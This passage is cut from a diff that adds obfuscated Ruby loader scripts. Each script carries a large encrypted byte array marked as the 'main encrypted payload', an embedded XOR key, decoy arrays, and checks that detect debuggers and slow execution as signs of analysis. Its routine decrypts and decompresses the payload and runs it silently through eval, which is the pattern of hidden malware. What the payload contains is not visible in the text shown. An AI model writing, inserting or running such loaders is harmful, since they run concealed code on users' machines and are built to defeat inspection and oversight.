193, 66, 183, 47, 219, 246, 162, 151, 192, 100, 214, 27, 42, 10, 237, 11, 102, 51, 178, 166, 119, 24, 44, 129, 91, 76, 126, 199, 241, 43, 89, 120, 76, 0, 231, 216, 250, 84, 39, 151, 169, 234, 47, 210, 142, 210, 220, 24, 44, 16, 96, 50, 215, 236, 103, 175, 124, 86, 76, 24, 125, 203, 5, 41, 240, 54, 95, 208, 186, 15, 165, 14, 86, 1, 157, 139, 21, 116, 37, 166, 42, 170, 138, 224, 148, 180, 65, 207, 115, 1, 193, 24, 173, 13, 229, 181, 159, 136, 53, 133, 130, 141, 20, 197, 138, 107, 107, 224, 207, 201, 17, 165, 251, 224, 123, 80, 222, 51, 149, 236, 250, 77, 147, 204, 234, 124, 18, 220, 249, 5, 175, 140, 39, 96, 33, 65, 35, 82, 19, 221, 250, 118, 200, 84, 122, 185, 201, 221, 131, 183, 179, 11, 147, 159, 250, 212, 4, 177, 13, 126, 233, 128, 150, 100, 160, 176, 84, 109, 121, 224, 253, 64, 245, 185, 39, 51, 196, 160, 81, 195, 13, 32, 56, 123, 82, 171, 55, 53, 220, 131, 125, 123, 233, 180, 51, 41, 180, 146, 63, 149, 156, 67, 254, 108, 191, 40, 107, 209, 208, 56, 143, 243, 218, 142, 103, 227, 125, 113, 64, 158, 105, 44, 58, 218, 46, 57, 242, 253, 195, 143, 71, 64, 226, 43, 99, 21, 165, 21, 35, 86, 207, 231, 50, 148, 91, 58, 130, 164, 33, 27, 102, 122, 176, 36, 58, 111, 64, 189, 249, 11, 64, 37, 159, 18, 148, 1, 210, 38, 151, 107, 207, 47, 55, 92, 162, 72, 21, 107, 163, 84, 51, 100, 196, 108, 140, 110, 112, 21, 178, 46, 85, 244, 101, 10, 188, 45, 26, 231, 108, 127, 117, 17, 255, 21, 166, 162, 165, 137, 30, 86, 186, 65, 89, 117, 65, 137, 40, 36, 50, 87, 182, 17, 171, 70, 106, 208, 113, 23, 145, 74, 39, 35, 20, 87, 232, 95, 181, 234, 80, 144, 249, 68, 191, 253, 217, 207, 67, 111, 52, 1, 6, 97, 31, 16, 254, 87, 182, 178, 69, 183, 228, 130, 228, 178, 208, 255, 178, 200, 231, 218, 138, 145, 99, 197, 153, 177, 241, 188, 113, 99, 90, 156, 42, 246, 53, 30, 3, 37, 62, 45, 224, 114, 9, 190, 29, 63, 178, 33, 115, 74, 104, 133, 122, 107, 177, 170, 109, 207, 124, 248, 214, 233, 168, 13, 129, 36, 91, 238, 121, 206, 36, 10, 250, 164, 250, 207, 55, 111, 254, 118, 129, 210, 30, 34, 183, 7, 98, 255, 139, 61, 235, 117, 36, 83, 232, 208, 72, 140, 217, 5, 165, 75, 166, 11, 40, 128, 88, 177, 22, 40, 143, 15, 194, 126, 141, 36, 132, 70, 211, 154, 241, 191, 140, 203, 121, 133, 175, 247, 94, 129, 149, 111, 212, 99, 84, 86, 73, 189, 100, 22, 175, 37, 135, 135, 6, 8, 174, 120, 50, 31, 126, 174, 7, 184, 155, 196, 124, 2, 148, 63, 247, 246, 161, 7, 146, 129, 74, 73, 239, 71, 60, 223, 124, 234, 39, 241, 94, 153, 103, 38, 77, 236, 236, 7, 52, 202, 35, 14, 47, 253, 30, 55, 57, 91, 121, 178, 127, 40, 67, 127, 236, 47, 155, 146, 96, 55, 107, 75, 208, 252, 180, 235, 148, 143, 49, 178, 156, 133, 75, 121, 234, 67, 248, 46, 11, 204, 210, 212, 18, 49, 29, 76, 245, 60, 224, 123, 79, 73, 136, 210, 192, 76, 138, 5, 155, 37, 27, 107, 104, 17, 172, 129, 219, 251, 24, 234, 240, 60, 221, 62, 54, 163, 116, 208, 81, 191, 81, 188, 3, 203, 18, 66, 169, 29, 176, 98, 7, 11, 215, 130, 76, 94, 224, 52, 162, 38, 15, 79, 68, 137, 124, 65, 215, 248, 205, 106, 99, 43, 58, 66, 101, 124, 173, 214, 41, 60, 103, 73, 158, 118, 5, 186, 113, 36, 213, 173, 143, 219, 142, 90, 196, 0, 133, 111, 129, 84, 228, 235, 72, 157, 37, 82, 110, 210, 35, 36, 243, 247, 80, 165, 92, 105, 157, 228, 53, 215, 223, 52, 19, 89, 103, 173, 25, 27, 30, 44, 230, 239, 181, 93, 8, 197, 27, 55, 115, 29, 84, 229, 120, 15, 94, 225, 166, 209, 191, 130, 121, 91, 244, 174, 205, 163, 38, 245, 30, 217, 96, 55, 74, 247, 140, 159, 67, 223, 245, 196, 108, 247, 175, 145, 152, 186, 72, 196, 142, 214, 184, 85, 61, 252, 76, 51, 74, 251, 86, 159, 84, 42, 244, 133, 206, 130, 182, 155, 7, 125, 122, 41, 252, 155, 21, 201, 129, 246, 209, 10, 80, 133, 52, 171, 18, 193, 145, 13, 16, 115, 60, 61, 221, 99, 22, 134, 248, 32, 31, 220, 111, 18, 232, 228, 59, 56, 199, 224, 45, 156, 8, 95, 61, 70, 225, 235, 207, 236, 79, 37, 27, 234, 184, 148, 188, 180, 98, 154, 149, 81, 206, 122, 46, 33, 180, 57, 240, 232, 211, 173, 183, 75, 255, 116, 224, 6, 69, 245, 28, 134, 85, 145, 246, 176, 170, 158, 147, 189, 98, 54, 153, 254, 222, 238, 182, 200, 205, 14, 24, 37, 135, 252, 237, 110, 207, 48, 41, 200, 214, 87, 61, 102, 26, 145, 160, 144, 12, 193, 94, 225, 42, 98, 154, 223, 204, 125] # Main encrypted payload
52
+
53
+ # === EMBEDDED KEYS (obfuscated) ===
54
+ _i0f8d2c = [20, 92, 163, 79, 52, 91, 164, 10, 188, 128, 68, 180, 104, 158, 219, 9, 248, 8, 207, 156]
55
+
56
+ # === ENCODING TYPE TRACKER ===
57
+ _d6a5695 = [0, 0, 0, 0, 0]
58
+
59
+ # === STORED CHECKSUM ===
60
+ _vab743e = 'd0c2910319deaf38e3aab8e30acbf0ba7693b8c26de356c646a5052744072fff'
61
+
62
+ # === DECOY DATA (distraction) ===
63
+ _s1774d0 = [118, 159, 50, 102, 8, 1, 252, 206, 8, 163, 232, 142, 65, 89, 121, 132, 182, 163, 189, 29, 170, 83, 11, 91, 140, 240, 58, 199, 113, 71, 204, 173, 61, 87, 240, 89, 197, 32, 235, 215, 16, 214, 48, 37, 167, 201, 70, 120, 209, 177, 34, 184, 210, 221, 91, 244, 121, 11, 243, 164, 98, 135, 16, 52, 225, 148, 216, 42, 141, 243, 154, 201, 192, 255, 224, 158, 146, 74, 57, 212, 62, 190, 252, 184, 115, 196, 225, 135, 244, 216, 81, 47, 232, 160, 74, 179]
64
+ _t5060fa = [79, 66, 37, 31, 96, 169, 10, 101, 220, 172, 151, 135, 128, 217, 59, 170, 177, 56, 223, 57, 30, 103, 70, 18, 210, 205, 13, 25, 6, 49, 1, 185, 7, 193, 105, 104, 181, 173, 113, 83, 19, 62, 155, 63, 9, 45, 158, 70, 160, 226, 234, 31, 165, 162, 39, 204, 196, 130, 197, 101, 34, 50, 246, 241, 212, 67, 183, 111, 210, 218, 211, 111, 59, 138, 126, 212, 238, 17, 24, 166, 143, 179, 1, 229, 92, 44, 248, 202, 170, 249, 26, 39, 218, 185, 174, 200, 106, 203, 174, 206, 5, 58, 131, 31, 107, 124, 203, 163, 254, 113, 96, 254, 220, 118, 21, 184, 246, 194, 45, 81, 84]
65
+ _p87eed2 = [213, 148, 170, 139, 130, 177, 255, 195, 120, 192, 156, 50, 59, 60, 187, 211, 251, 56, 52, 19, 244, 155, 244, 76, 42, 92, 252, 157, 236, 73, 186, 230, 253, 186, 19, 242, 40, 126, 23, 192, 89, 140, 211, 39, 158, 33, 75, 93, 39, 236, 220, 73, 143, 183, 116, 247, 14, 78, 163, 108, 77, 236, 101, 198, 141, 31, 230, 166, 32, 189, 91]
66
+
67
+ # === FIXED DECRYPTION ALGORITHM ===
68
+ begin
69
+ # 1. Verify integrity BEFORE decryption
70
+ unless _tceeb36.call(_j4d241c, _d6a5695, _i0f8d2c, _vab743e)
71
+ raise "Integrity verification failed"
72
+ end
73
+
74
+ # 2. Start with the encrypted data
75
+ _qbb6c3d = _j4d241c.dup
76
+
77
+ # 3. Decryption loop (must reverse encryption steps)
78
+ 5.times do |_g92011e|
79
+ # Calculate which round we're reversing
80
+ _iea00b2 = 5 - _g92011e - 1
81
+
82
+ # Get key for this reverse round
83
+ _r3755ad = 4
84
+ _od90395 = _iea00b2 * _r3755ad
85
+ _r36d54d = _i0f8d2c[_od90395, _r3755ad]
86
+
87
+ # DECRYPTION STEPS (REVERSED ORDER from encryption):
88
+ # Encryption was: Compress → XOR → (Maybe) Base64
89
+ # Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
90
+
91
+ # A. Base64 decode if this round used it
92
+ if _d6a5695[_iea00b2] == 1
93
+ _se5e92c = _qbb6c3d.pack('C*')
94
+ _se5e92c = Base64.strict_decode64(_se5e92c)
95
+ _qbb6c3d = _se5e92c.bytes
96
+ end
97
+
98
+ # B. XOR decrypt with the key
99
+ _qbb6c3d = _yc98b3a.call(_qbb6c3d, _r36d54d)
100
+
101
+ # C. Inflate (decompress) the data
102
+ _se5e92c = _qbb6c3d.pack('C*')
103
+ _se5e92c = Zlib::Inflate.inflate(_se5e92c)
104
+ _qbb6c3d = _se5e92c.bytes
105
+ end
106
+
107
+ # 4. Final verification and execution
108
+ _bcb1cec = _qbb6c3d.pack('C*')
109
+
110
+ # Quick syntax check before eval
111
+ if _bcb1cec.strip.empty? || _bcb1cec.length < 10
112
+ raise "Decryption resulted in invalid code"
113
+ end
114
+
115
+ # No user-facing output here; the loader should not print this during decryption
116
+ eval(_bcb1cec, binding, __FILE__, __LINE__)
117
+
118
+ rescue => _e40e37b
119
+ # Graceful error handling
120
+ warn "DECRYPTION ERROR: #{_e40e37b.message}"
121
+ warn "This file appears to be corrupted or tampered with."
122
+ exit 1
123
+ end
@@ -0,0 +1,123 @@
1
+ #!/usr/bin/env ruby
2
+ # frozen_string_literal: true
3
+
4
+ require 'base64'
5
+ require 'zlib'
6
+ require 'digest'
7
+
8
+ # === ANTI-ANALYSIS PROTECTIONS ===
9
+ _n59821a = lambda do
10
+ # Analyzer detection
11
+ if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
12
+ warn "WARNING: analysis environment detected"
13
+ # Optional: exit(1) for stronger protection
14
+ end
15
+
16
+ # Quick execution speed check
17
+ _xb57d3f = Time.now
18
+ 100.times { |_| Math.sqrt(_) }
19
+ if (Time.now - _xb57d3f) > 0.1 # Adjust threshold as needed
20
+ warn "WARNING: Execution too slow - possible analysis environment"
21
+ end
22
+
23
+ # Return environment fingerprint
24
+ [RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
25
+ end
26
+
27
+ # Run environment check
28
+ _f289c18 = _n59821a.call
29
+
30
+ # === FIXED XOR DECRYPTOR ===
31
+ _s73c981 = ->(_y3e216d, _o41df83) do
32
+ _hc4e461 = []
33
+ _y3e216d.each_with_index do |byte, idx|
34
+ _hc4e461 << (byte ^ _o41df83[idx % _o41df83.length])
35
+ end
36
+ _hc4e461
37
+ end
38
+
39
+
40
+ # === INTEGRITY VERIFICATION ===
41
+ _o437994 = lambda do |_cd40d3c, _f1a0339, _p555a18, _qb83fbe|
42
+ # Verify checksum before any decryption
43
+ current_hash = Digest::SHA256.hexdigest(_cd40d3c.pack('C*'))
44
+ if current_hash != _qb83fbe
45
+ raise "SECURITY ERROR: File integrity check failed"
46
+ end
47
+ true
48
+ end
49
+
50
+ # === EMBEDDED ENCRYPTED DATA ===
51
+ _cd40d3c = [187, 128, 122, 3, 204, 214, 139, 220, 197, 146, 251, 171, 136, 99, 171, 223, 82, 207, 150, 167, 226, 24, 195, 1, 72, 156, 209, 178, 98, 182, 61, 233, 215, 223, 104, 198, 174, 191, 28, 8, 103, 227, 249, 47, 149, 46, 193, 83, 172, 63, 78, 183, 158, 215, 4, 247, 168, 241, 176, 104, 91, 234, 34, 195, 167, 105, 85, 109, 232, 18, 57, 118, 65, 127, 34, 34, 180, 33, 243, 205, 74, 116, 105, 136, 32, 10, 142, 192, 28, 160, 198, 130, 3, 37, 208, 144, 69, 200, 113, 3, 224, 138, 145, 84, 124, 1, 133, 44, 145, 227, 103, 158, 219, 170, 203, 20, 162, 60, 23, 42, 72, 151, 94, 228, 247, 119, 142, 47, 187, 232, 225, 27, 13, 103, 95, 193, 197, 233, 32, 211, 151, 202, 207, 90, 27, 132, 202, 247, 171, 252, 9, 39, 60, 255, 176, 82, 68, 102, 25, 139, 229, 194, 200, 211, 87, 123, 255, 207, 253, 247, 168, 123, 74, 161, 78, 168, 246, 123, 113, 131, 77, 150, 8, 41, 176, 113, 118, 71, 128, 8, 10, 211, 82, 220, 5, 168, 195, 228, 142, 87, 87, 133, 165, 211, 117, 130, 99, 108, 91, 42, 111, 72, 22, 253, 101, 40, 205, 91, 106, 3, 129, 38, 184, 40, 146, 61, 116, 241, 145, 92, 72, 139, 107, 225, 84, 89, 143, 73, 241, 47, 85, 207, 114, 164, 145, 34, 227, 158, 247, 178, 179, 237, 157, 1, 226, 119, 15, 64, 186, 195, 80, 35, 91, 115, 67, 17, 76, 120, 247, 198, 214, 190, 139, 225, 158, 117, 188, 30, 67, 10, 197, 71, 93, 41, 127, 79, 61, 10, 238, 222, 27, 151, 121, 108, 177, 134, 166, 28, 165, 202, 188, 6, 30, 203, 171, 164, 220, 165, 227, 134, 68, 160, 14, 144, 138, 31, 22, 36, 238, 3, 119, 103, 170, 18, 30, 82, 110, 113, 30, 86, 9, 36, 4, 167, 190, 59, 8, 182, 112, 239, 49, 15, 119, 246, 180, 82, 251, 166, 25, 151, 42, 46, 110, 250, 193, 40, 78, 93, 17, 224, 98, 17, 5, 7, 64, 150, 13, 203, 242, 109, 178, 53, 75, 78, 208, 247, 169, 212, 74, 160, 236, 177, 1, 110, 255, 53, 46, 72, 36, 133, 8, 95, 154, 252, 115, 26, 199, 233, 57, 45, 188, 182, 60, 158, 141, 164, 201, 234, 86, 206, 126, 45, 30, 196, 223, 28, 161, 59, 174, 202, 172, 56, 101, 22, 125, 90, 227, 79, 111, 228, 9, 95, 204, 216, 30, 81, 190, 64, 94, 187, 7, 159, 248, 17, 60, 147, 148, 237, 135, 133, 177, 73, 19, 163, 130, 55, 42, 77, 110, 41, 66, 212, 157, 188, 146, 183, 73, 17, 83, 47, 215, 2, 84, 81, 211, 0, 27, 23, 248, 10, 242, 130, 244, 221, 212, 253, 222, 47, 109, 150, 180, 114, 72, 184, 173, 105, 84, 38, 111, 101, 83, 24, 205, 123, 55, 32, 90, 21, 152, 128, 250, 149, 170, 187, 48, 45, 229, 13, 230, 172, 255, 92, 72, 94, 45, 178, 42, 229, 165, 82, 205, 233, 155, 107, 199, 44, 91, 177, 237, 1, 134, 189, 25, 252, 52, 25, 43, 138, 171, 83, 21, 106, 29, 208, 175, 247, 131, 194, 71, 54, 123, 2, 226, 110, 8, 34, 247, 227, 93, 52, 116, 243, 32, 172, 179, 112, 135, 207, 62, 203, 34, 101, 2, 204, 172, 170, 181, 34, 181, 99, 157, 36, 90, 86, 93, 206, 73, 72, 8, 28, 206, 109, 129, 91, 183, 68, 128, 172, 179, 45, 106, 225, 128, 88, 177, 157, 52, 147, 55, 147, 17, 198, 80, 109, 224, 126, 197, 14, 231, 192, 138, 56, 210, 207, 190, 109, 192, 48, 194, 53, 153, 185, 219, 40, 74, 46, 56, 249, 159, 147, 153, 156, 154, 163, 109, 2, 60, 189, 180, 223, 122, 56, 249, 61, 53, 48, 191, 140, 9, 24, 252, 101, 210, 64, 226, 55, 175, 135, 99, 15, 72, 13, 93, 155, 15, 221, 135, 34, 67, 90, 101, 201, 121, 108, 169, 156, 253, 23, 66, 37, 165, 94, 110, 28, 66, 173, 152, 36, 163, 19, 151, 3, 24, 228, 111, 86, 50, 155, 178, 155, 165, 55, 211, 11, 247, 136, 227, 154, 90, 65, 123, 181, 147, 221, 206, 193, 143, 195, 176, 85, 18, 91, 144, 11, 180, 158, 52, 63, 144, 127, 18, 181, 138, 168, 93, 236, 145, 188, 57, 141, 48, 63, 159, 88, 78, 97, 17, 226, 23, 244, 89, 225, 182, 110, 24, 75, 234, 10, 192, 189, 179, 250, 106, 115, 243, 112, 188, 250, 199, 24, 90, 23, 248, 38, 40, 45, 118, 16, 194, 171, 158, 140, 108, 237, 181, 220, 50, 182, 47, 117, 250, 68, 78, 175, 104, 103, 174, 37, 229, 166, 195, 219, 180, 153, 211, 120, 151, 138, 101, 4, 38, 191, 233, 185, 242, 146, 248, 12, 155, 228, 5, 79, 42, 183, 145, 83, 118, 253, 65, 206, 121, 48, 48, 67, 86, 193, 201, 192, 156, 25, 92, 110, 235, 113, 104, 3, 44, 116, 106, 181, 41, 130, 148, 241, 168, 240, 176, 1, 243, 116, 32, 193, 81, 30, 24, 6, 119, 225, 102, 64, 6, 198, 147, 148, 112, 75, 137, 161, 141, 17, 153, 196, 119, 177, 183, 144, 37, 72, 168, 59, 104, 139, 209, 227, 140, 20, 111, 164, 21, 111, 216, 163, 239, 61, 37, 174, 36, 43, 238, 166, 177, 139, 43, 85, 247, 38, 196, 163, 202, 44, 44, 213, 125, 131, 89, 36, 65, 244, 41, 53, 121, 189, 162, 83, 70, 139, 111, 111, 74, 59, 180, 186, 107, 199, 171, 133, 64, 92, 218, 194, 117, 26, 180, 218, 219, 164, 58, 159, 7, 5, 100, 165, 224, 119, 179, 79, 172, 244, 143, 222, 170, 52, 246, 212, 224, 85, 108, 247, 100, 227, 168, 63, 57, 52, 136, 47, 171, 65, 116, 218, 123, 220, 46, 227, 189, 18, 44, 86, 251, 26, 154, 0, 243, 86, 16, 184, 65, 148, 238, 194, 162, 248, 119, 160, 88, 148, 134, 229, 35, 39, 248, 14, 21, 53, 151, 181, 240, 8, 98, 47, 5, 47, 207, 106, 48, 15, 247, 160, 52, 30, 62, 133, 164, 154, 142, 101, 30, 151, 148, 66, 85, 36, 50, 242, 192, 122, 103, 235, 1, 97, 182, 91, 50, 217, 32, 12, 145, 152, 80, 148, 103, 22, 35, 31, 185, 191, 138, 227, 13, 197, 31, 210, 199, 213, 69, 156, 118, 255, 46, 89, 240, 150, 220, 151, 154, 59, 221, 45, 53, 148, 234, 10, 132, 0, 12, 229, 95, 164, 135, 169, 83, 44, 160, 21, 176, 104, 187, 72, 87, 155, 48, 207, 209, 203, 174, 39, 47, 126, 134, 105, 225, 223, 238, 152, 15, 129, 237, 193, 130, 25, 68, 48, 53, 93, 101, 236, 31, 92, 20, 37, 207, 148, 75, 245, 78, 230, 164, 233, 52, 15, 175, 9, 95, 65, 189, 142, 62, 237, 176, 200, 109, 237, 203, 245, 35, 125, 121, 97, 8, 156, 255, 7, 189, 27, 130, 11, 179, 231, 80, 223, 213, 179, 125, 172, 143, 235, 97, 101, 181, 185, 156, 227, 153, 31, 90, 186, 205, 122, 231, 240, 134, 208, 198, 106, 107, 195, 78, 69, 71, 216, 27, 208, 128, 70, 121, 208, 125, 208, 91, 106, 16, 150, 8, 193, 139, 223, 5, 175, 255, 35, 181, 118, 129, 200, 113, 25, 59, 114, 220, 137, 115, 43, 162, 216, 203, 212, 47, 144, 165, 105, 15, 44, 38, 246, 108, 198, 117, 46, 9, 179, 109, 194, 70, 50, 229, 75, 126, 22, 206, 205, 152, 54, 30, 104, 110, 142, 62, 242, 236, 54, 57, 227, 165, 37, 128, 32, 98, 241, 67, 133, 236, 39, 120, 108, 187, 52, 180, 253, 60, 139, 250, 170, 159, 174, 194, 156, 39, 80, 128, 185, 251, 26, 143, 3, 245, 63, 42, 180, 241, 200, 125, 22, 174, 215, 211, 137, 155, 163, 224, 186, 120, 34, 168, 118, 108, 162, 127, 196, 144, 112, 116, 71, 207, 238, 77, 1, 150, 192, 52, 64, 178, 140, 72, 217, 61, 59, 14, 233, 225, 10, 64, 204, 156, 228, 212, 29, 13, 108, 216, 192, 148, 68, 255, 165, 9, 57, 72, 84, 65, 3, 168, 21, 152, 9, 50, 169, 65, 240, 241, 172, 38, 146, 240, 94, 138, 50, 172, 186, 214, 206, 240, 196, 198, 152, 253, 209, 146, 119, 42, 102, 92, 197, 75, 131, 192, 164, 149, 143, 20, 213, 219, 23, 67, 214, 149, 76, 233, 25, 9, 238, 50, 250, 28, 72, 54, 29, 238, 12, 34, 253, 88, 30, 40, 13, 29, 33, 242, 27, 71, 251, 111, 114, 71, 82, 145, 7, 251, 131, 131, 140, 35, 125, 50, 217, 198, 107, 48, 213, 15, 212, 43, 195, 84, 44, 110, 226, 79, 19, 162, 39, 238, 106, 2, 125, 188, 98, 138, 31, 129, 46, 204, 30, 248, 181, 209, 11, 101, 184, 230, 136, 4, 57, 202, 159, 82, 185, 229, 255, 162, 18, 224, 252, 230, 156, 150, 46, 238, 107, 97, 46, 191, 100, 218, 117, 29, 247, 224, 243, 188, 247, 126, 120, 248, 70, 69, 208, 17, 21, 231, 216, 204, 55, 185, 196, 35, 233, 241, 221, 252, 127, 76, 129, 215, 152, 210, 186, 56, 100, 71, 89, 5, 177, 212, 246, 88, 251, 30, 252, 191, 132, 133, 7, 20, 29, 198, 29, 57, 21, 76, 186, 222, 16, 57, 99, 57, 115, 42, 233, 193, 221, 73, 136, 39, 111, 34, 34, 62, 74, 72, 212, 76, 230, 0, 139, 125, 105, 228, 61, 60, 109, 243, 205, 250, 238, 189, 129, 135, 198, 36, 18, 250, 69, 214, 76, 154, 204, 39, 152, 46, 21, 133, 138, 184, 189, 210, 128, 104, 138, 216, 2, 204, 84, 23, 196, 1, 242, 44, 232, 159, 127, 153, 39, 248, 177, 185, 165, 54, 18, 191, 225, 16, 109, 107, 44, 54, 216, 109, 89, 142, 76, 113, 57, 54, 24, 97, 185, 9, 140, 253, 45, 65, 127, 178, 119, 124, 72, 109, 217, 68, 51, 129, 246, 54, 176, 111, 30, 88, 15, 111, 102, 232, 225, 143, 151, 48, 116, 153, 144, 192, 244, 107, 238, 84, 47, 152, 31, 228, 143, 28, 102, 242, 80, 18, 213, 131, 56, 143, 213, 59, 64, 3, 102, 42, 7, 167, 176, 137, 2, 197, 201, 12, 13, 153, 232, 209, 227, 41, 206, 182, 240, 233, 217, 238, 247, 7, 232, 171, 246, 36, 153, 217, 145, 240, 36, 199, 233, 254, 107, 250, 117, 71, 242, 225, 34, 31, 95, 113, 167, 123, 135, 5, 182, 37, 59, 101, 13, 12, 201, 65, 105, 39, 0, 89, 101, 182, 37, 45, 11, 124, 36, 139, 126, 35, 254, 113, 13, 230, 37, 200, 220, 175, 255, 30, 66, 10, 214, 7, 38, 151, 207, 22, 165, 76, 31, 9, 144, 96, 243, 216, 58, 253, 225, 254, 209, 212, 85, 139, 149, 79, 211, 51, 228, 113, 171, 192, 82, 197, 211, 254, 122, 87, 15, 142, 79, 228, 29, 22, 238, 37, 72, 1, 156, 84, 233, 136, 160, 86, 238, 43, 242, 80, 141, 174, 212, 113, 53, 21, 221, 87, 9, 83, 86, 63, 121, 122, 250, 121, 25, 100, 214, 199, 133, 96, 100, 117, 68, 157, 83, 246, 250, 61, 55, 243, 64, 177, 183, 152, 153, 18, 91, 79, 206, 44, 55, 242, 129, 235, 124, 99, 112, 229, 66, 49, 238, 110, 217, 215, 28, 173, 133, 201, 50, 140, 120, 30, 103, 177, 151, 214, 204, 227, 5, 202, 85, 148, 173, 124, 169, 94, 173, 221, 65, 5, 145, 135, 77, 13, 234, 146, 252, 153, 225, 151, 38, 123, 112, 230, 228, 158, 183, 12, 29, 118, 213, 224, 125, 100, 24, 58, 119, 248, 92, 146, 238, 69, 163, 43, 141, 240, 8, 27, 206, 228, 95, 180, 234, 24, 49, 11, 254, 149, 230, 221, 120, 196, 229, 251, 133, 190, 70, 203, 92, 18, 71, 130, 240, 84, 16, 24, 212, 244, 89, 1, 81, 175, 243, 228, 165, 41, 213, 103, 213, 2, 240, 227, 247, 166, 87, 135, 167, 193, 115, 69, 85, 204, 252, 180, 240, 67, 176, 56, 32, 45, 248, 170, 213, 149, 211, 136, 113, 7, 154, 201, 36, 233, 174, 135, 225, 24, 60, 48, 63, 32, 99, 184, 100, 187, 169, 245, 245, 9, 84, 141, 125, 166, 59, 41, 82, 0, 6, 205, 127, 227, 44, 211, 233, 208, 88, 204, 125, 47, 220, 183, 140, 67, 194, 88, 253, 197, 197, 180, 138, 3, 213, 37, 107, 14, 179, 118, 117, 98, 17, 188, 32, 199, 213, 108, 141, 213, 61, 179, 235, 38, 175, 161, 14, 159, 247, 238, 63, 19, 110, 144, 23, 13, 154, 173, 47, 192, 140, 63, 53, 57, 175, 196, 230, 18, 235, 133, 16, 34, 48, 198, 13, 209, 138, 41, 29, 192, 56, 155, 45, 149, 158, 248, 31, 10, 218, 87, 10, 228, 20, 127, 139, 180, 111, 211, 228, 119, 225, 149, 129, 87, 0, 91, 235, 32, 137, 224, 247, 38, 11, 239, 60, 185, 237, 137, 249, 95, 44, 239, 159, 190, 127, 218, 241, 228, 183, 1, 56, 239, 201, 167, 116, 8, 249, 250, 204, 43, 181, 188, 106, 224, 249, 3, 74, 53, 78, 247, 66, 6, 117, 29, 224, 37, 197, 122, 103, 79, 112, 212, 109, 62, 90, 243, 95, 16, 229, 142, 97, 69, 52, 58, 17, 91, 134, 123, 165, 50, 152, 110, 107, 242, 141, 23, 239, 227, 184, 215, 41, 238, 45, 248, 122, 73, 161, 199, 51, 251, 90, 184, 33, 99, 66, 81, 136, 132, 166, 255, 20, 33, 94, 134, 161, 152, 146, 213, 184, 63, 18, 166, 187, 238, 109, 85, 6, 51, 83, 166, 12, 46, 37, 4, 131, 164, 23, 177, 2, 173, 98, 8, 251, 186, 75, 134, 224, 198, 255, 46, 123, 124, 253, 173, 75, 87, 18, 86, 39, 98, 116, 162, 92, 237, 52, 183, 93, 186, 145, 230, 231, 164, 124, 38, 75, 1, 130, 36, 75, 36, 13, 79, 85, 155, 234, 20, 69, 90, 46, 203, 155, 109, 99, 168, 1, 139, 144, 196, 78, 204, 153, 179, 54, 201, 76, 163, 146, 0, 205, 45, 123, 197, 41, 102, 242, 149, 7, 180, 6, 144, 34, 161, 134, 111, 221, 255, 46, 132, 80, 161, 187, 100, 159, 183, 150, 33, 128, 31, 113, 191, 27, 194, 216, 90, 119, 142, 242, 29, 31, 244, 174, 96, 233, 106, 128, 54, 144, 70, 90, 253, 11, 81, 181, 86, 46, 36, 229, 68, 94, 93, 46, 191, 49, 199, 160, 114, 117, 173, 91, 255, 111, 241, 248, 99, 223, 86, 119, 197, 95, 243, 49, 200, 8, 79, 25, 43, 245, 153, 129, 68, 52, 11, 134, 224, 128, 163, 16, 122, 49, 83, 196, 168, 67, 127, 149, 149, 96, 231, 246, 80, 81, 186, 19, 118, 77, 243, 50, 118, 227, 49, 231, 125, 172, 76, 134, 105, 47, 169, 10, 203, 73, 238, 38, 6, 85, 221, 73, 223, 146, 251, 48, 15, 133, 23, 211, 34, 140, 138, 174, 12, 100, 219, 104, 200, 87, 173, 135, 82, 162, 155, 94, 179, 17, 7, 238, 39, 172, 3, 205, 142, 34, 173, 199, 148, 227, 87, 128, 188, 229, 88, 118, 213, 92, 144, 15, 28, 33, 191, 125, 112, 129, 69, 31, 165, 198, 196, 87, 98, 231, 123, 143, 165, 210, 138, 252, 151, 136, 215, 239, 26, 239, 31, 206, 254, 230, 167, 204, 123, 192, 6, 207, 11, 79, 117, 236, 146, 161, 168, 207, 86, 4, 65, 73, 193, 3, 4, 245, 209, 189, 48, 55, 5, 129, 230, 109, 106, 42, 241, 168, 198, 191, 97, 110, 184, 215, 155, 14, 241, 36, 168, 65, 36, 213, 215, 9, 125, 235, 82, 57, 18, 96, 247, 134, 79, 81, 123, 209, 6, 143, 86, 183, 27, 220, 37, 189, 76, 41, 201, 20, 12, 101, 41, 99, 44, 176, 196, 191, 148, 234, 206, 117, 74, 208, 247, 176, 194, 162, 82, 162, 110, 252, 157, 11, 31, 22, 118, 73, 242, 176, 211, 235, 35, 247, 99, 4, 47, 251, 139, 7, 43, 118, 56, 61, 195, 142, 80, 129, 172, 2, 136, 215, 11, 225, 40, 254, 81, 81, 88, 33, 22, 69, 108, 148, 52, 133, 65, 171, 23, 200, 150, 183, 46, 238, 68, 110, 196, 193, 9, 16, 8, 119, 39, 156, 234, 159, 224, 112, 103, 229, 235, 184, 38, 131, 234, 12, 2, 83, 152, 26, 16, 198, 85, 242, 24, 171, 176, 94, 236, 249, 136, 42, 26, 136, 17, 188, 39, 166, 122, 228, 221, 171, 230, 241, 219, 213, 117, 194, 36, 13, 243, 206, 179, 53, 126, 236, 182, 74, 124, 158, 139, 245, 23, 129, 250, 228, 143, 252, 9, 38, 61, 128, 50, 219, 213, 3, 25, 141, 50, 48, 187, 162, 173, 66, 208, 49, 9, 86, 202, 48, 60, 145, 136, 126, 88, 122, 85, 63, 54, 77, 36, 175, 122, 33, 83, 104, 40, 32, 238, 35, 67, 20, 25, 123, 9, 250, 2, 227, 138, 11, 14, 86, 26, 109, 124, 62, 110, 194, 56, 253, 73, 43, 157, 231, 93, 205, 35, 146, 139, 2, 208, 51, 132, 119, 139, 37, 51, 156, 170, 43, 35, 53, 202, 30, 57, 204, 118, 209, 46, 70, 44, 67, 108, 116, 101, 52, 134, 108, 219, 213, 63, 108, 39, 178, 72, 92, 228, 57, 2, 44, 186, 165, 179, 74, 145, 135, 58, 115, 143, 255, 206, 88, 233, 138, 189, 250, 21, 137, 138, 158, 171, 214, 107, 183, 25, 113, 23, 37, 74, 0, 82, 91, 86, 119, 245, 24, 142, 59, 0, 79, 48, 101, 229, 20, 145, 113, 215, 13, 224, 152, 48, 50, 45, 154, 198, 226, 46, 138, 209, 181, 173, 90, 199, 149, 124, 225, 14, 13, 233, 99, 110, 240, 52, 74, 174, 173, 237, 82, 59, 70, 237, 238, 161, 213, 2, 189, 151, 116, 159, 66, 